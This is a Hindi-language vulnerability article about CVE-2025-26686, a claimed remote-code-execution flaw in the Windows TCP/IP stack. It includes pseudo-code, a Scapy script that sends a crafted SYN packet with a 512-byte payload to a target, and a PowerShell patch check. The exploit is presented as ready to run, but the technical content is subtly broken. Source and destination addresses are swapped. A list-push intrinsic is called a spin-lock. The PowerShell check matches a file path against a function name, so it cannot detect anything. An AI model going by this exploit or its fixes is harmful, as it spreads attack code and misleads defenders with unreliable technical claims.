
विंडोज TCP/IP स्टैक (CVE-2025-26686) में एक गंभीर RCE भेद्यता संवेदनशील मेमोरी को अनलॉक छोड़ देती है, जिससे दूरस्थ हमलावर सिस्टम को हाईजैक कर सकते हैं। नेटवर्क पर शोषणीय, यह पूर्ण समझौता करने का जोखिम रखता है। अब पैच करें
विंडोज TCP/IP स्टैक में एक गंभीर RCE भेद्यता (CVE-2025-26686) संवेदनशील मेमोरी को अनलॉक छोड़ देती है, जिससे दूरस्थ हमलावर सिस्टम को हाईजैक कर सकते हैं। नेटवर्क पर शोषण योग्य, यह पूर्ण समझौते का जोखिम उठाती है। अब पैच करें
द्वारा Mark Mallia
प्रकार: रिमोट कोड एक्ज़ीक्यूशन (RCE)
गंभीरता: गंभीर
हमला वेक्टर: नेटवर्क-आधारित
प्रभावित सिस्टम: Windows 10, 11 और सर्वर संस्करण
माइक्रोसॉफ्ट के TCP/IP स्टैक में CVE‑2025‑26686 के रूप में पहचाना गया एक नया दोष खोजा गया है। यह मेमोरी के एक महत्वपूर्ण क्षेत्र पर लॉक की कमी से उत्पन्न होता है जो क्रिप्टोग्राफिक कुंजी, सत्र डेटा या नेटवर्क कॉन्फ़िगरेशन संग्रहीत करता है। क्योंकि पैकेट हैंडलिंग के दौरान क्षेत्र सुरक्षित नहीं है, एक हमलावर नेटवर्क पर उस जानकारी को पढ़ या बदल सकता है और स्थानीय-प्रशासक स्तर की पहुँच प्राप्त कर सकता है।
Windows 10/11/Server में TCP/IP स्टैक सत्र डेटा रखने वाले कुछ बफ़र्स में लिखते समय उचित स्पिन-लॉक प्राप्त नहीं करता है। लॉक की कमी का मतलब है कि दो पैकेट एक दूसरे के साथ दौड़ सकते हैं, जिससे हमलावर मूल प्रक्रिया द्वारा लेखन पूरा करने से पहले बफ़र में दुर्भावनापूर्ण कोड डाल सकता है।
मुख्य बिंदु:
भेद्यता tcpip.sys मॉड्यूल में दिखाई देती है, विशेष रूप से इनबाउंड TCP खंडों को संसाधित करने वाली रूटीन के आसपास। “सत्र डेटा” ब्लॉक को अपडेट करने के लिए जिम्मेदार कोड पथ को मेमोरी में लिखने से पहले एक लॉक प्राप्त करना चाहिए। हाल के Windows रिलीज़ में लॉक को एक सशर्त शाखा में छोड़ दिया जाता है, जो असुरक्षित लेखन का कारण बन सकता है।
एक न्यूनतम प्रतिलिपि योग्य उदाहरण नीचे दिखाया गया है (C++-शैली स्यूडो-कोड)।
// tcpip.sys – समस्या क्षेत्र
void TcpIpHandleSegment(Packet *p)
{
// … पिछला कोड …
if (p->flags & SYN_FLAG) {
/* यहाँ लॉक गायब है */
memcpy(&sessionData, p->payload, p->len);
// … बाद का कोड …
}
}
सही ढंग से संरक्षित संस्करण में महत्वपूर्ण अनुभाग एक इंटरलॉक्ड स्पिन-लॉक द्वारा संरक्षित किया जाएगा:
// tcpip.sys – स्थिर क्षेत्र
void TcpIpHandleSegment(Packet *p)
{
// … पिछला कोड …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … बाद का कोड …
}
}
पैच _InterlockedPushEntrySList के लिए एक कॉल जोड़ता है, जो अपडेट होने पर sessionData तक विशेष पहुँच सुनिश्चित करता है।
भेद्यता तब ट्रिगर होती है जब एक SYN फ़्लैग ले जाने वाला इनबाउंड TCP खंड tcpip.sys तक पहुँचता है।
पैकेट को उस कोड पथ से मिलाने के लिए, हम निम्नलिखित फ़ील्ड सेट करते हैं:
परत क्षेत्र CVE‑2025‑26686 के लिए विशिष्ट मान IP src लक्ष्य होस्ट का IP पता (जैसे 10.0.0.10) dst हमलावर का IP (जैसे 192.168.1.2) TCP sport हमलावर का पोर्ट (जैसे 4444) dport लक्ष्य सेवा का सुनने वाला पोर्ट (जैसे HTTP के लिए 80) flags “S” TcpIpHandleSegment में शाखा से टकराने के लिए SYN के लिए
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# पेलोड वह डेटा ले जाता है जो tcpip.sys में sessionData को ओवरराइट करेगा।
payload = "ExploitKey" + "A"*512 # 512 बाइट्स तैयार सामग्री
pkt = ip_layer / tcp_layer / Raw(load=payload)
इस बिंदु पर आप पैकेट संरचना की पुष्टि कर सकते हैं:
pkt.show()
आउटपुट IP → src, dst; TCP → sport, dport, flags जैसे फ़ील्ड प्रकट करेगा; और 512 बाइट्स का एक Raw पेलोड।
यह वह सटीक अनुक्रम है जिसकी Windows SYN फ़्लैग के साथ इनबाउंड खंडों को संसाधित करते समय अपेक्षा करता है।
send(pkt)
कमांड पैकेट को सीधे आपकी मशीन से लक्ष्य होस्ट के TCP/IP स्टैक में भेजता है।
यदि आप स्क्रिप्ट को एक Linux VM पर चला रहे हैं जिसमें Scapy स्थापित है, तो पैकेट Windows मशीन तक पहुँचेगा और tcpip.sys में कोड पथ को ट्रिगर करेगा।
क्योंकि हमलावर मेमोरी को संशोधित कर सकता है जिसमें क्रिप्टोग्राफिक कुंजी या सत्र कॉन्फ़िगरेशन होता है, यह दोष सक्षम करता है:
सिस्टम में लॉक की उपस्थिति की पुष्टि करने के लिए एक त्वचा-जाँच स्क्रिप्ट का उपयोग किया जा सकता है:
# सत्यापित करें कि इंटरलॉक्ड एंट्री tcpip.sys में मौजूद है
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
यदि PatchPresent $True लौटाता है, तो शमन लागू है।
CVE-2025-26686 सिर्फ भेद्यता डेटाबेस में एक और पंक्ति नहीं है—यह एक जागृति कॉल है। जब TCP/IP स्टैक जैसे मूलभूत घटकों से समझौता किया जाता है, तो प्रभाव पूरे नेटवर्क और उद्योगों में महसूस किए जा सकते हैं। यह दोष हमें याद दिलाता है कि सबसे भरोसेमंद सिस्टम को भी निरंतर जांच और देखभाल की आवश्यकता होती है।इंजीनियरों और रक्षकों के रूप में, हमारी जिम्मेदारी केवल इन भेद्यताओं को समझना नहीं है, बल्कि अखंडता के साथ कार्य करना है। यहाँ साझा की गई जानकारी केवल नैतिक उपयोग के लिए है ताकि रक्षा को मजबूत किया जा सके, जिम्मेदार पैचिंग की जानकारी दी जा सके, और संगठनों को अपने उपयोगकर्ताओं की रक्षा करने में सशक्त बनाया जा सके।